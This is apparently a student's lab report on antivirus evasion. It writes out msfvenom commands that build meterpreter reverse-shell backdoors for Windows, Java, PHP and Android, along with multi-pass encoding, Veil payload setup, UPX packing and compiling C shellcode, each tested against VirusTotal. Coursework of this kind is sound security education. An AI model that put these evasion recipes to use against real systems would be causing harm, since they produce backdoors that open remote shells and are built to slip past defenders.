Exp3 免杀原理与实践 20175124符嘉讯

1. 正确使用msf编码器

使用VirusTotalVirscan这两个网站对实验二中生成的后门程序meter_backdoor.exe进行扫描

 

 

 

 

 

尝试用msf编码器对后门程序进行一次到多次的编码,并进行检测,代码如下

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe

 

 

使用-i设置迭代次数,进行十次编码,结果检测之后发现情况并不理想

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.196.133 LPORT=5121 -f exe > encoded10.exe

 

2. msfvenom生成如jar之类的其他文件

使用如下代码生成java后门程序并检测:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5124 x> meter_backdoor_java.jar

 

 

 

 

 

使用如下代码生成php后门程序并检测:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5124 x> meter_backdoor.php

 

 

 

 

使用如下代码生成Android后门程序并检测

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.198.128 lport=5124 x> Android_backdoor.apk

 

 

3. veil

 

veil的安装让我吃尽苦头,试了很多种方法,反反复复十几次,用时好几天出现了各种各样莫名的bug最后莫名安好了,在此阐述一下安装经历。

 

首先在开发源加上中科大和阿里云,然后依次运行代码

apt-get update

apt-get upgrade -y

apt-get install veil-evasion//安装依赖

veil//运行安装

然后第一个问题来了,下载速度奇慢导致下载失败,我百度后使用了以下方法:

1:更改host设置

 

 

失败

2:使用git config --global http.proxy 'socks5://127.0.0.1:1080'

失败

3cd /usr/share/veil/config/进入文件夹

vim setup.sh,编辑第260行,把github仓库改成码云的仓库:https://gitee.com/spears/VeilDependencies.git

成功!!!

继续安装

(使用s进行默认安装)

(终于完成了安装)

输入veil指令,再输入use evasion进入如下页面

 

 

输入命令use c/meterpreter/rev_tcp.py进入配置界面

 

 

设置反弹连接IP:set LHOST 192.168.198.128(此处为KaliIP),端口:set LPORT 5124

输入指令generate生成文件,接着输入想取的payload的名字:veil_c_5124,如图所示,生成文件语言为C语言文件,有效载荷模块为TCP反弹型,保存路径为:/var/lib/veil/output/handlers/veil_c_5124.rc

使用VirusTotal检测文件

 

 

 

(过关,不愧是我废了老大功夫搞得东西)

 

4. 加壳工具

加压缩壳UPX,输入upx meter_backdoor.exe -o 符嘉讯.upxed.exe

 

 

 

 

 

5. 使用C + shellcode编程

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.1 LPORT=5124 -f c生成一段shellcode

 

 

 

创建一个文件test.c,然后将unsigned char buf[]赋值到其中。

 

 

输入i686-w64-mingw32-g++ test.c -o 20175124.exe,将此文件编译为可执行文件并检测。

 

 

 

 

6. 使用其他课堂未介绍方法

再次进入免杀平台记得输入use evasion

 

 

输入list查看可用的payloads

 

 

我们使用python来进行编译,输入use python/meterpreter/rev_tcp.py进入配置页面。

 

 

输入set LHOST 192.168.198.128set LPORT 5124,分别设置反弹连接的IP地址和端口号。

 

 

输入generate生成文件,根据提示输入文件名:20175124

 

 

使用VirusTotal检测文件

 

 

 

7. 基础问题回答

1)杀软是如何检测出恶意代码的?

使用现成的反病毒软件来扫描待分析的样本,以确代码是否含有病毒。

Windows平台上,二进制可执行yywrexedll都是以pe文件格式组织的,而在linux平台上,可执行文件格式则是elf

有时恶意代码的作者会在自己的作品中放入某个特定的urlemail地址,或者恶意代码会使用到某个特定的库文件和函数。利用字符串提取技术,可以分析恶意代码的功能和结构。

2)免杀是做什么?

免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的

3)免杀的基本方法有哪些?

改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。

改变行为:使用反弹连接、隧道技术、加密通讯数据等。

4)开启杀软能绝对防止电脑中恶意代码吗

不能,一些病毒软件在改变特征码后杀软识别不出来,所以开启杀软并不能防止电脑中恶意代码。

8. 实践总结与体会

这次实验是我做的最痛苦的一次,本来可以早就做完的,但是veil的安装实在是太折磨人了,拖了大概有两三天的样子,参考了同学的和往届的安装方法,查阅了无数个帖子,每次都是四十分钟到两三个小时的尝试,反反复复十几次,最后终于安装好了,装好那一刻,我感到了一丝时候的空虚和解脱。本次的实验内容关于免杀,通过很多方法终于让杀毒软件和查杀网站降低了对于后门的警惕性,但是这只是杀毒软件十分之一的功力如果要实现一个合格的病毒软件,那难度想必是无比之困难吧。只有知道了这些后门软件的各种能力,才能方便我们做好网络安全工作,才能在未来让我们履行好自己的职责

 

posted @ 2020-04-02 02:21  符嘉讯  阅读(121)  评论(0编辑  收藏